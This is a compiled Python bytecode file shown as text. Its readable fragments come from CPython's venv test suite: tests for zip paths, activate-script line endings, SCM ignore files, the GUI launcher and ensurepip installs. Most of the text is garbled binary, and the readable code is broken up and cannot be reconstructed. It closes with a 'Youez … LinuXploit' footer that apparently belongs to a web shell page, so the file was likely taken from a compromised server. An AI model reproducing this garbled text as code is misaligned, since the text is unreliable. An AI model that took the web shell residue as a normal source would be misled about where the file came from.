O=U2%fJ�[O>U[O
OV^2[8Q5J�	CJ�U
OAU2CJ�	[O
OV OU2QQ	Q
QUO,o[OBOU
2o[&O(Q2oU%c[&OD2%cK[O
OG[O
OI[O22o[OJQ
6XcQoLQoQUUU-o[OLOOQ29o%cUUQ$[PORUUQ5[O
OUOUOU2oUQQQ,o[UU2vooUOWU	OY2U72P!)zZ
Test that when create venv from non-installed python, the zip path
value is as expected.
zos.pyr��tr5z.zipr)�ignorer�r�r�r��LIBDIRr��DYLD_LIBRARY_PATH�LD_LIBRARY_PATH�
PYTHONPATH�ASAN_OPTIONS)rz-Sr�zimport sys; print(sys.path))-rr>rC�
platlibdirrr:r;r<r=�
addCleanuprVr@rr�rLrK�copy2r4�makedirsrAr��version_info�major�minorr�r�copyfiler�r�copyr}�copytree�appendr�r��abspathr�rGr�getrr|r+r|r<)rKr��non_installed_dirr@r��libdir�landmark�
abi_thread�
stdlib_zip�zip_landmark�'additional_pythonpath_for_non_installed�eachpath�names�
ignored_namesr?r~r%�
pythonpath�ld_library_path�ld_library_path_env�	child_env�asan_options�
target_pythonr(r)s&                        r*�%test_zippath_from_non_installed_posix�/BasicTest.test_zippath_from_non_installed_posix�s���	�t�|�|���^�^�
��G�G�,�,�X�-=�-=�-?�@������ 1�2������/���=��
������W�W�%�%�c�n�n�5�
����S�^�^�R�W�W�\�\�&�%E�F������/�T�X�X�a�[�I��
���F���7�7�<�<���0��%�4�4�5F�G�G�S�R�
��c�.�.�4�4�5�c�6F�6F�6L�6L�5M�j�\�Z�
��w�w�|�|�$5�$.�$.�0��35�/����H�� � ��(�(��7�7�>�>�(�+�+��O�O� ������%6�C�E�,�����������X�w� ?�@�@��
�
�8�,�� 6�x� G�
�!�D��,� ���.� ������h�5�B��w�w�~�~�b�)�)����B�/������r�*�*�����B�G�G�L�L��,F�/E�G�"�8�>�>���+!�.�w�w�|�|�-�{�{�J�G����+��|�|����Z�Z�_�_�3�5�
�
$�2�2�8�<���)�";�";�"=�"=� �g�g�o�o�b�g�g�o�o�c�n�n�.M�N�O��<�<�8�#�"5��"3���j�#�_�
�	��:�:�>�>�.�9�9�<�9�(4�I�n�%����c�y�1������T�\�\�4�;�;�
�K�
��d�D�*G�H����$���S�����+�+�-��4�5r,c	��[OUO2o[U2UOuvq#V*Q*o[
OU2[UQ29^tt^2o[U]2FDvqgQU0oUOUQU2J	PPP2P!)%fhP!9h)z�
Test that the `activate` shell script contains no CR LF.
This is relevant for Cygwin, as the Windows build might have
converted line endings accidentally.
rFrzCR LF found in line s
)
r�r�r>rrr�r�ri�	enumerate�assertNotEndsWith)	rK�venv_dir�scripts_dirrr�script_pathr}�i�line�
error_messages	&        r*�.test_activate_shell_script_has_no_dos_newlines�8BasicTest.test_activate_shell_script_has_no_dos_newlinesAs����<�<����-���x��"�.�.���+��,�z�9�����H��
�+�t�
$�
$��$�V�Q�/���"6�q�c� :�
��&�&�t�W�m�D�0�%�
$�
$�
$�s�5/B.�.B?	�7B?	c���UO[OUOQ.Q5UO	Q2O2oUO
QU2P!)z~
        Test that a .gitignore file is created when "git" is specified.
        The file should contain a `*
` line.
        r��r��
.gitignore�*)r`r�r�r>rmrPr�)rK�
file_liness& r*�test_scm_ignore_files_git�#BasicTest.test_scm_ignore_files_gitRsO��	
���d�k�k�4�<�<�05�w�	�	8��0�0��>�I�I�K�
��
�
�c�:�&r,c�X``�QnQnUU1QkQ[O2oUQQ.Q5oUOUOUO2UOQ2O
2oUOQ	U2UOR2oUOUR2P!)
z=
Test that ``scm_ignore_files`` can work with multiple SCMs.
z
.bzrignorez# For Bazaar.
*
c�2:`�\sQsQsnUU1QksQsUsP!)�FBasicTest.test_create_scm_ignore_files_multiple.<locals>.BzrEnvBuilder�ec��:�[OOUOR2o[	UQQQ59^tt^2oUOR2PPP2P!)%fhP!9h)rGrrh)rr:rVr>rir)rKr��gitignore_path�file�bzrignore_name�contentss&&  ��r*�create_bzr_ignore_file�]BasicTest.test_create_scm_ignore_files_multiple.<locals>.BzrEnvBuilder.create_bzr_ignore_filefsH���!#�����g�o�o�~�!N���.�#��@�@�D��J�J�x�(�A�@�@�@�s�A�A0	�(A0	r�)rorprqrrr�rurv)rxr�r�s@��r*�
BzrEnvBuilderr�es����
)�
)r,r�r��bzrr�r�r�)	r�r�r`r�r>rmrPr�r�)rKr�r��gitignore_lines�	bzrignorer�r�s&    @@r*�%test_create_scm_ignore_files_multiple�/BasicTest.test_create_scm_ignore_files_multiple]s����
&��'��	)�	)�D�O�O�	)� �%���@�����g�n�n�d�l�l�;��5�5�l�C�N�N�P���
�
�c�?�+��/�/��?�	�����H�-r,c�2�UO[OUO2UO	[
29^tt^2UO
Q2PPP2UOQUO
Q22P!)%fhK39h)zS
Test that no default ignore files are created when ``scm_ignore_files``
is empty.
r�r�r�)r`r�r�r>r#�FileNotFoundErrorrmr�rQs&r*�"test_create_scm_ignore_files_empty�,BasicTest.test_create_scm_ignore_files_emptytsj��	
���d�k�k�4�<�<�8�
�
�
�0�
1�
1��'�'��5�2�	
�
�
�2��1�1�,�?�	A�2�
1�s�	B�B	�B	c���UO[OQUO,2UO	Q2O2oUO
QU2P!)zH
Test that default SCM ignore files are created by default via the CLI.
r�r�r�)r`r��mainr>rmrPr�)rKr�s& r*�test_cli_with_scm_ignore_files�(BasicTest.test_cli_with_scm_ignore_files�sH��
	
���d�i�i�/�4�<�<�)H�I��5�5�l�C�N�N�P���
�
�c�?�+r,c��QQUO,oUO[OU2UO	[
29^tt^2UO
Q2PPP2P!)%fhP!9h)zK
Test that ``--without-scm-ignore-files`` doesn't create SCM ignore files.
r�r�r�)r>r`r�r�r#r�rmrcs& r*�!test_cli_without_scm_ignore_files�+BasicTest.test_cli_without_scm_ignore_files�sX��
 �!=�t�|�|�L�����d�i�i��.�
�
�
�0�
1�
1��'�'��5�2�
1�
1�
1�s�A*�*A;	�3A;	c
���[OOo[OQ6Xc�P	[
[
1P	[
O2[
O21,o]PH"o[OQ2oU%c,,UNP	VD1MP	UOU2UOU21MoL8P	[
[
1P
[
O2[
O21,oSFDdvqVoUOUQU029^tt^2U%cUOUVg22LUOUVg22PPP2Jf	P!)%fhJ{9h)r7�ProgramFiles�-)r�r��
_same_pathrCrGr�lower�upper�_winapir�getenv�GetShortPathName�GetLongPathNamer�r|r�)rK�	same_path�testsr��	progfilesrg�path1�path2s&       r*�test_venv_same_path�BasicTest.test_venv_same_path�s-���O�O�.�.�	��<�<�7�"��v�v�&��v�|�|�~�v�|�|�~�6��E�
��	�	�.�1�I������9�0���7�3�3�I�>��@W�@W�Xa�@b�c�����v�v�&����������7��E� %�O�A�e������q���0�1�1���O�O�I�e�$;�<��$�$�Y�u�%<�=�	2�1� %�1�1�1�s�E	�/E	�E-
�%E-
c���[UO2[OUO2UOoQU7cQU7fUOQQ2o[OOUOUOU2o[OUQQ,2P![OcSOQ2P!h9h)z1
Test that the GUI launcher runs the GUI python.
r5�pythonwr�zTimport fnmatch, sys; assert fnmatch.fnmatch(sys._base_executable, '**/pythonw*.exe')z)venvwlauncher.exe did not run pythonw.exe)rr>r�r�rF�replacerr:rVr@rr|r$�fail)rK�exename�envpyws&  r*�test_venvwlauncher�BasicTest.test_venvwlauncher�s���	�t�|�|�����D�L�L�!��(�(���w��y�G�';��o�o�h�	�:�G������d�l�l�D�K�K��A��	C��!�!�6�4�2R�#S�
T���,�,�	C��I�I�A�B�	C�s�B4�4C�C�Cr�))r1)r2r8)r9r)r3)r6)r4)>rorprqrrrsr}r�r�r�r�r�r��requireVenvCreater�r��unittest�
skipUnlessr
rrCrGrr�r
�hasattrrrrrr&r*r1r6r=r@�skipIfr?rT�
startswithrZr_rerjrmrtrxr~r�r�r�r�r�r�r�r�r�r�r�r�r�rurvrws@r*rzrzqsy����)�+�/�/�J�0C�B5�8&;�P�=��=�$�=��=�@�
�����(8�9�=�:��=�B�|�|�w��
��
���
�M�C�$4�$4�R�$8�8�9�
�M�C�$4�$4�R�$8�8�/�J�
��
(������[�1�3O�P�/�Q�/�1�$�/�N�*K������(8�9�8�:�8�.�	6��	6������(8�9�
6�:�
6��_�_�R�W�W��_�&N�O�9�P�9�2�_�_�R�W�W��_�&N�O�
�_�_�S�\�\�,�,�X�6�P�R�9�R�P�9�2������D��*D�E�9�F�9�,������D��*D�E�
+�F�
+�������D��*D�E�>�F�>�.������D��*D�E�=�F�=�(������D��:�:�[�]�.�0�^�0�^��9��9�$�	M��	M��_�_�R�W�W��_�&?�@�+�A�+�$�_�_�R�W�W��_�&?�@�+�A�+�&�������1�3K�L�8�M�8�K��_�_�R�W�W��_�&?�@��T6��A�T6�l�E��E� �'��'��.��.�,�A��A��,��,��6��6�>�>�
������D��*D�E�C�F��Cr,rzc�`�\sQsQsnQsQsQsQsQsQs	\
OQ2s\
2\Q	2Q
22sQsUsP!)�
EnsurePipTest��z%Test venv module installation of pip.c���[UOP	Q5QQ,2vqUOQ2oUOUP2UOQ2oUOUO	2Q2P!)Tr:r�z1try:
 import pip
except ImportError:
 print("OK")�latin-1�OK)r+rWr#r�r�rws&  r*�assert_pip_not_installed�&EnsurePipTest.assert_pip_not_installed�sk��������!>��B�!D�E����j�j��#������b�!��j�j��#���������d�+r,c��[UO2UO[OUO2UO2P!rP�rr>r`r�r�r
rQs&r*�test_no_pip_by_default�$EnsurePipTest.test_no_pip_by_default�s2���t�|�|�����d�k�k�4�<�<�8��%�%�'r,c��[UO2UO[OUOP
Q5UO2P!)F)r�rrQs&r*�test_explicit_no_pip�"EnsurePipTest.test_explicit_no_pip�s7���t�|�|�����d�k�k�4�<�<�%��H��%�%�'r,c�<�[[OQ29^tt^2oUOUO	2Q2PPP2UO[OO[O22P!)%fhKN9h)rr,)rir�devnullr�rjr|r:rI)rKrks& r*�test_devnull�EnsurePipTest.test_devnull�sZ��
�"�*�*�d�
#�
#�q����Q�V�V�X�s�+�$�	
��������r�z�z�2�3�$�
#�s�!B�B	�B	c��[UO2[29^tt^2oQUQ$QUQ$[O29^tt^2oV2Q$QoQoQoU1FD�vqx[
OOV72o	[
OU	2[
OOV�2o
[U
Q29^tt^2oUOU2PPP2J�	UO29^tt^2UO[OUOUP	Q5PPP2PPP2PPP2[UO!P	Q	5Q
QQ
QQ
QQQ,	2vq�U
O#Q2o
UO%U
P2UO#Q2oQO'[(O*22oUO-V�2[
O.UO2O#Q2oUO1V�2[29^tt^2oUO29^tt^2QUQ$[UO!P	Q	5Q
QQ
QQ
QQ,2vq�PPP2PPP2U
O#Q2o
[2O4QPU
[2O6Q5o
]PHroUO%U
O=2P2UO#Q2oUO1QU2U%fUO?2P!P!)%fhCJ�9h)%fhCK9h)%fhCK9h)%fhCK 9h)%fhCK9h)%fhCK9h[:c-[2O4QPS
[2O6Q5o
CKh9h)r��PYTHONWARNINGS�1�PIP_NO_INSTALL�HOMEz[global]
no-install=1r�rG)r�r�r:z-Wzignore::DeprecationWarningzignore::ImportWarningr{r�z	--versionrzpip {}zensurepip._uninstallzl^(WARNING: )?The directory .* or its parent directory is not owned or is not writable by the current user.*$)�flagsz<^WARNING: Disabling truststore since ssl support is missing$zSuccessfully uninstalled pip)r�zpip.ini)z.pipzpip.conf) rr>rr<r�rr:rVrrir�nicer_errorr`r�r�r+rWr#r��format�	ensurepip�version�assertStartsWithrhr��re�sub�	MULTILINE�ssl�ImportError�rstripr
)rKr��envvars�home_dir�
bad_config�win_location�posix_locationr��fname�dirpath�fpathrkr(r)�expected_versionr>r(s&&               r*�do_test_with_pip�EnsurePipTest.do_test_with_pip�s���t�|�|��
 �
"�
"�g�)1�G�$�%�),�G�$�%��,�,�.�.�(�"*���5�
� 2��!5��'5�&7�N�G� �g�g�l�l�8�=�G��H�H�W�%��G�G�L�L��8�E��e�S�)�)�Q����
�+�*�)�	'8��%�%�'�'��)�)�$�+�+�t�|�|�?S�37�*�9�(�#/�#�H ������!>��1��,�d��U�K�!)�*����j�j��#������b�!��j�j��#��#�?�?�9�+<�+<�+>�?�����c�4��+�+�d�l�l�+�2�2�9�=���
�
�g�#�
!�
"�
"�g��!�!�#�#�-5��(�)�'������)F��6��1�4��0�)2�3���	$�#��j�j��#���f�f�N�OQ�����.��	)��	
�������r�*��j�j��#���
�
�4�c�:�$��)�)�+�$�E*�)�)��
(�'�'��#/�.�.��#�
"�
"��l$�#�#��#�
"�
"��0�	)��&�&�N���2�<�<�)�C�	)�s��(M�A<M	�
L�$M	�.L0
�1M	�9M�*N�+M,	�.N�8N�L-�$L-�&
M	�0M�9M�;	M	�M
�
M
�	M�M)	�!M)	�,M=
�5M=
�7	N�N	�	N	�	O�)O�
Oc#�, �Pw�P![OcqoSO9%fQOQQ5oSO9%fQOQQ5oSOSQSQS02Po=P!Po=hh9h3h)z�
Capture output from a failed subprocess for easier debugging.

The output this handler produces can be a little hard to read,
but at least it has all the details.
r,r�)�errorsz

**Subprocess Output**
z

**Subprocess Error**
)rr$r^r#rr�)rK�excr(r)s&   r*r �EnsurePipTest.nicer_errorLs����		����,�,�	��:�:�$�$��,�,�I�,�>�C��:�:�$�$��,�,�I�,�>�C��I�I��%�*�*-��/)�),��/�
�
��	�s:�B��B�B�B�B�%B�,B�B�B�B�cpuc�L�UOP
2UOP	2P!)F)r4rQs&r*�
test_with_pip�EnsurePipTest.test_with_pip_s ��	
���e�$����d�#r,r�)rorprqrrrsr
rrrr4�
contextlib�contextmanagerr r	rr<rurvrws@r*rr�sa����/�,�(�
(�
4�^,�@������$���u��$���$r,r�__main__rP)5rsr>r"r�os.pathr�r%rNrKrrCrAr<�test.supportrrrrrrrrr	r
rr�test.support.os_helperr
rrrrrr��
unittest.mockrr�ctypesr)rr�r�rDrLr�SkipTestr+�TestCaser.rzrror�r�r,r*�<module>rHsH�����	���	��
��
���E�E�E�E�6�6���%����'�'��J�J�#�/�/�!�.�.�
���s�~�~�-�@�B��
��I�
�
�
�D�
E�E������$-�x� � �-�^V
C��V
C�r�X$�H�X$��X$�v�z���M�M�O���I"��
�F��s�/E�E�	E�E

Youez - 2016 - github.com/yon3zu
LinuXploit